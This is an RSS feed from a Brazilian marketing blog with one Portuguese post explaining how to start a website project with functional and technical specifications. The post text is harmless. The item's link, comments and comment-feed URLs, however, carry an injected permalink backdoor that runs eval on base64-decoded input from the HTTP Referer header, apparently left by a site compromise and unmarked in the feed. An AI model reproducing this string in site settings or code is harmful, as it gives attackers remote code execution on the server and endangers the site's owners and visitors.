<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Prontofalei &#187; projeto</title>
	<atom:link href="http://fullcircle.com.br/blog/tag/projeto/feed/" rel="self" type="application/rss+xml" />
	<link>http://fullcircle.com.br/blog</link>
	<description>Falando do seu negócio</description>
	<lastBuildDate>Thu, 15 Oct 2009 15:50:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Como começar o projeto de um Website</title>
		<link>http://fullcircle.com.br/blog/2009/08/14/como-comecar-um-projeto-de-um-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://fullcircle.com.br/blog/2009/08/14/como-comecar-um-projeto-de-um-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 19:30:22 +0000</pubDate>
		<dc:creator>Danilo Idman</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Propaganda]]></category>
		<category><![CDATA[Tecnologia]]></category>
		<category><![CDATA[agência]]></category>
		<category><![CDATA[classes]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[designer]]></category>
		<category><![CDATA[especificações]]></category>
		<category><![CDATA[funcional]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programador]]></category>
		<category><![CDATA[projetc]]></category>
		<category><![CDATA[projeto]]></category>
		<category><![CDATA[técnica]]></category>
		<category><![CDATA[ti]]></category>
		<category><![CDATA[visio]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://fullcircle.com.br/blog/?p=194</guid>
		<description><![CDATA[Vejo que muita gente por aí, web designers, programadores e até mesmo agências, ainda não sabem muito bem por onde começar o projeto de um website.
Antes de mais nada, você precisa criar uma Especificação Funcional e Técnica.
A especificação funcional é um documento que devemos fazer antes de começar a produzir qualquer site.
Chama-se especificação funcional pois explica descritivamente [...]]]></description>
			<content:encoded><![CDATA[<p class="MsoNormal"><span>Vejo que muita gente por aí, web designers, programadores e até mesmo agências, ainda não sabem muito bem por onde começar o projeto de um website.</span></p>
<p class="MsoNormal"><span>Antes de mais nada, você precisa criar uma <strong>Especificação Funcional</strong> e <strong>Técnica</strong>.</span></p>
<p class="MsoNormal"><span>A especificação funcional é um documento que devemos fazer antes de começar a produzir qualquer site.</span></p>
<p class="MsoNormal"><span>Chama-se especificação funcional pois explica descritivamente como que cada área do site funcionará, o que cada uma deve fazer.</span></p>
<p class="MsoNormal"><span>A especificação funcional é a primeira coisa a ser feita em projeto web ou de TI. São levantados os<strong> Casos de Uso</strong>, que descrevem as diferentes maneiras que uma mesma funcionalidade, área, ou script pode funcionar no site. Por exemplo, em uma tela de login, deve haver o Caso de Uso do usuário já logado, o Caso de Uso do usuário não-logado, o Caso de Uso do usuário que esqueceu a senha, e por aí vai.</span></p>
<p class="MsoNormal"><span>Depois vem a <strong>Especificação Técnica</strong>, que em alguns casos, para ganhar tempo ou projetos de menor complexidade, pode ser feita no mesmo documento da funcional. A especificação técnica, descreve o passo a passo do que um designer, prorgramador ou administrador de banco de dados deve fazer em cada uma das funcionalidades do site durante seu desenvolvimento.</span></p>
<p class="MsoNormal"><span>É na especificação técnica que deve conter por exemplo, que o botão de &#8220;Buscar&#8221;, deve ser do tipo <em>button</em>, com o nome <em>BtnBusca</em>, e com <em>250 pixels de largura</em>.</span></p>
<p class="MsoNormal"><span>É na especificação ténica que também entra o protótipo das telas, algo que o web designer deverá fazer. Ele lê toda a especificação funcional e com os dados da especificação técnica, cria as telas HTML. É ele também que desenvolve as Folhas de Estilo CSS e o Javascript, além é claro de imagens e Flash. São gerados JPGS de cada uma dessas telas, que ilustram cada um dos casos de uso, e anexados ao documento de especificação funcional e técnica. Assim, o programador ou os outros profissionais envolvidos saberão como o site deve funcionar, e quais elementos eles terão que programar ou criar.</span></p>
<p class="MsoNormal"><span>O programador, com o documento completo e as telas HTML em mãos, pode desenvolver o sistema, criando script e códigos. Tudo isso, se houver, junto ao administrador do banco de dados (que por sua vez já deve ter estruturado como serão as tabelas e dados do banco).</span></p>
<p class="MsoNormal"><span>Meu modelo de Projeto com Especificações Funcionais e Técnica é bem simples e enxuto. O correto em projetos de médio e grande é que este trabalho seja feito por um Analista, que descreverá em um documento Word todas estas especificações, além de criar diagramas de fluxo de informação, de filtros e de classes, coisas como UML, por exemplo.</span></p>
<p class="MsoNormal"><span>Quem quiser um exemplo em Word pede aqui que eu publico em algum lugar.</span></p>
<p class="MsoNormal"><span>Abraços!</span></p>
<p class="MsoNormal"><em><span>Agradecimentos ao </span></em><span><a href="http://twitter.com/fabiocampos" target="_blank"><em><span>Fábio Campos</span></em></a><em> da TIVIT, que foi o melhor analista que conheci até hoje.</em></span></p>
<p class="MsoNormal">
]]></content:encoded>
			<wfw:commentRss>http://fullcircle.com.br/blog/2009/08/14/como-comecar-um-projeto-de-um-website/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
